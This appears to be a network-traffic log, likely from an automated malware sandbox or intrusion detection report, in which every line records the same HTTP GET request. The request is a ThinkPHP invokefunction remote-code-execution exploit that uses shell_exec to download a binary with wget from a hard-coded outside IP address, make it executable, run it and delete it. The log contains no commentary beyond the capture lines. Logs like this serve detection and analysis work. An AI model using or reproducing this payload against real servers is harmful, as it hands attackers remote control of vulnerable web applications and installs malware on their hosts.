Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
